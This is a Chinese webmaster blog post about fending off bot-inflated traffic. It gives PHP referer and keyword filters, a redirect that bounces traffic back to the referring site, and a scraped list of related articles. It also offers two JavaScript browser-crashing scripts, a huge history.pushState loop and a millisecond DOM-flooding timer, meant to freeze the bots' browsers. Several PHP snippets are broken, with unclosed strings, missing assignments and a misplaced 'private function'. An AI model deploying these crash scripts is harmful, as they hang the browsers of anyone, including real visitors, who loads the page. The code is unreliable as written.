很多站长朋友可能会经常遇到被同行竞争对手恶意刷流量的情况,而且流量ip来路是随机的,全国各地乃至全世界的ip都有,根本没办法查出来是谁干的。一般出现这种情况都是对方用流量宝或者流量精灵来刷你网站的,目的很明显,对方要么就是用这些垃圾流量来掩盖自己的ip,从而达到攻击入侵等不可告人的目的,要么就是想用恶意刷流量的方式让你合作的广告联盟帐号被封禁。大部分站长都会对此束手无策,有些甚至被吓得撤下广告,关站停业。很不幸,本人网站(学唱歌网:www.***.com)不久前就被小人盯上了,平时日流量只有2000ip左右的小站,一下子被人恶意刷流量刷到接近1万ip,当时也把我吓蒙了,赶紧把联盟广告撤下来然后去联盟后台备案。我对这些小人的行为非常气愤!难道你能容忍这些恶心的小人,让自己坐以待毙吗?不!我们要屏蔽对方刷的流量让它全部反弹回去!

  下面我给大家分享几个针对被人恶意刷流量的解决办法。

  首先,我们打开自己网站的第三方统计工具,cnzz或者百度统计,查看异常流量的来路。刷的流量来路一般有三种情况:第一种情况是无来路的直接访问你网站首页或者指定网页的ip,这种情况会比较头疼;第二种情况是通过百度、谷歌或者360好搜等搜索引擎关键词来刷你网站,一般这种情况关键词都是比较固定的那几个,也比较容易处理;第三种情况是直接用一个网址作为来路,这种情况就更好处理了。

  其次,要知道我们所用的网站是程序。例如,如果你用的是开源的php系统,比如织梦、帝国或者开源框架thinkphp之类的程序,那么都有一个入口文件index.php(现在应该没人用很早以前那种原生php的程序了吧)。接下来的步骤就是把下面的代码粘贴到你往后的入口文件index.php里面。

  1、针对无来路的ip直接访问你网站首页或者指定网页的流量屏蔽过滤方法:

1

2

3

4

if(!$_SERVER['HTTP_REFERER']) //判断来路是否为空

  {

  header("Location: /error.html); //如果为空那么就跳转到错误页面

  }

  这种方法可能会误杀一些老访客,但是如果对方刷你刷得太厉害了那你也只能使用这种方法了。

  2、针对通过百度、谷歌或者360好搜等搜索引擎关键词来刷你网站流量的屏蔽过滤方法:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

private function getKeyword($str){ //百度的

  $s strpos($str,'wd=');

  if($s>-1){

  $str substr($str,$s+3);

  $e strpos($str,'&');

  if($e>-1){

  $str substr($str,0,$e);

  }

  $str = rawurldecode($str);

  }

  return $str;

  }

  $key = getKeyword($_SERVER['HTTP_REFERER']); //获取百度关键词

  if($key == 'xxx'//判断关键词是否为恶意刷流量的关键词

  {

  header("Location: /error.html); //如果是那么就跳转到错误页面

  }

  3、针对直接用一个网址作为来路的垃圾流量的处理方法:

  if($_SERVER['HTTP_REFERER'] == 'http://www.xxx.com/' ) //判断来路是否为某个网址

  {

  header("Location: http://www.xxx.com/?p=反弹关键词"); //如果是那么就直接反弹回去,还可以带上警告的词,以其人之道还治其人之身,不知道对方统计工具收到这些词会是什么表情,哈哈!!

  }

  另外流量宝、流量精灵之类的刷流量工具,它都内置有浏览器内核,它在刷你网站的时候其实是用自带的浏览器内核来浏览你网站页面的。那么我们就可以设想写一个能够卡死浏览器,让浏览器崩溃的程序,是否能把对方的流量宝或者流量精灵卡死呢?或者如果我们在error页面加一些弹窗会不会对他的刷流量工具有影响呢?又或者超大的图片能否让浏览器内核无法处理而导致软件崩溃呢?根据这些设想,我加了在fuck页面里加了如下程序,大家可以试试看有没有效果。

1

2

3

4

5

6

7

8

9

10

11

12

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{

    total= total+i.toString ();

    history.pushState (0,0,total);

}

</script>

</body>

</html>

相关代码

function s(){

    var d=document.createElement('d');

    d.style.border='1px solid #000';

    d.style.padding='1px';

    var t;

    for(var i=0;i<10;i++){

        t=document.createElement('d');

        t.style.border='1px solid #000';

        t.style.padding='1px';

        d.appendChild(t);

    }

    document.body.appendChild(d);

}

setInterval('s()',1);

网站被恶意刷流量解决方案相关推荐

  1. 代码解决网站被恶意刷流量 CC 攻击问题

    经常有站长遇到网站被人恶意刷流量,api接入口被人恶意刷新等CC攻击问题. 想要解决,奈何口袋里又没钱买不起高防产品怎么办? 我们可以通过代码的方式自定义访问频率时间限制解决那些恶意攻击. 优势: 可 ...

  2. 与 Netcraft 携手为 GlobalSign 的客户提供先进的保护措施以防止网站遭受恶意入侵和钓鱼攻击...

    2019独角兽企业重金招聘Python工程师标准>>> Netcraft 反钓鱼系统支持最主流浏览器,如果安裝 GlobalSign 数字证书的网站正遭受钓鱼攻击,Netcraft ...

  3. 3 种保护您的网站免受恶意攻击的方法

    身为一个网站搭建者,肯定不希望自己的网站经常被莫名其妙的攻击导致瘫痪,因而造成客户流失.如何防止自己的网站被攻击,从企业网站建设的初期,就应当部署这些安全对策,当你的网站使用以下3个方法之后,安全性将 ...

  4. php 挡住刷流量,恶意刷流量屏蔽过滤方法分享

    下面我给大家分享几个针对被人恶意刷流量的解决办法. 首先,我们打开自己网站的第三方统计工具,cnzz或者百度统计,查看异常流量的来路.刷的流量来路一般有三种情况:第一种情况是无来路的直接访问你网站首页 ...

  5. 网站被K的解决方案有哪些?

    在网站的优化过程中,相信很多优化人员都遇到过网站有时会降权,一旦被降权不快速恢复的话就很容易被K,导致网站更不能正常运行.可见当网站被降权和被K时又该如何通过优化手段进行解决呢?下面一起来了解一下. ...

  6. php用session制作网站仿恶意刷新计数器

    php用session制作网站仿恶意刷新计数器 <?php session_start();/*启动session*/ if(!isset( $_SESSION["user" ...

  7. 被恶意上传了.php,轻松解决网站被恶意镜像

    老听说有人的网站被恶意镜像,于是我先收藏几种解决方法. 镜像站看似一个完整的站点,其实每次用户访问镜像站点,他的小偷程序就会来正版的网站查询数据,并修改相关链接然后呈献给用户.实质上还是在读取原站的数 ...

  8. 网站被恶意镜像怎么办 php一段代码轻松搞定(全面版)

    有时候你会发现,你在搜索引擎输入网站名称的时候,出来的网站信息是你们的,但是域名却是一个陌生的,这种情况可以基本确定网站被镜像了,那么究竟什么叫网站被镜像? 恶意镜像,也叫恶意克隆,恶意解析,是指有人 ...

  9. 网站被恶意镜像怎么办?

    什么是恶意镜像? 恶意镜像,也叫恶意克隆,恶意解析,是指有人通过域名A记录直接解析别人IP地址,从而得到一个在访问者眼中完全相同网站的过程.其工作原理基本上是这样子的:有用户访问镜像站点时,程序就会来 ...

最新文章

  1. linux tune2fs简解(每日一令之五)
  2. 栅格数据的像素值保存问题
  3. web3 0.2.x 和 1.x.x版本之间的差异
  4. Meidapipe 3D手势姿态跟踪算法,手机端实时检测 ,多个手势同时捕捉
  5. 停止预览时调用Camera.release(), 出现Method called after release()异常问题原因及解决办法...
  6. 最近新明白的SQL小知识
  7. JavaScript:jklyDB
  8. 生活情景英语:英语国家生存英语精选
  9. 红胖子网络科技博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬结合等等)持续更新中...
  10. 合同法律风险管理 被骗者刑事风险
  11. mybatis java事务_Mybatis事务处理
  12. 二进制运算法则、负数的二进制补码表示与进制转换(短除法)
  13. 【续】关于对MSB/LSB写0时的步骤
  14. 用VC GDI+画一颗树
  15. semi-suppervised learning 半监督学习
  16. PHP 调用百度人脸检测
  17. OTFS学习_12.15
  18. No qualifying bean of type found for dependency: expected at least 1 bean which qualifies as autowir
  19. 二分思想(二分查找,整数二分,浮点数二分)
  20. 使用ZBrush软件的画布功能有什么技巧吗?

热门文章

  1. 河南省 建筑标准规范 合集
  2. Java ByteBuffer用法
  3. 2022/7/17/题解2022河南萌新联赛第(二)场:河南理工大学https://ac.nowcoder.com/acm/contest/37344
  4. xs.pattern ip
  5. 乌班图安装出现无法获取锁解决
  6. 腾讯测试儿童锁模式:13周岁以下玩游戏须家长开锁
  7. 前端页面项目——博客系统
  8. 分享以下内容到高校bbs或者科研论坛
  9. 大疆无人机安卓Mobile Sdk开发(四)读取飞机的图片和视频并下载
  10. 【绘图杂记16】Echarts 热力矩阵图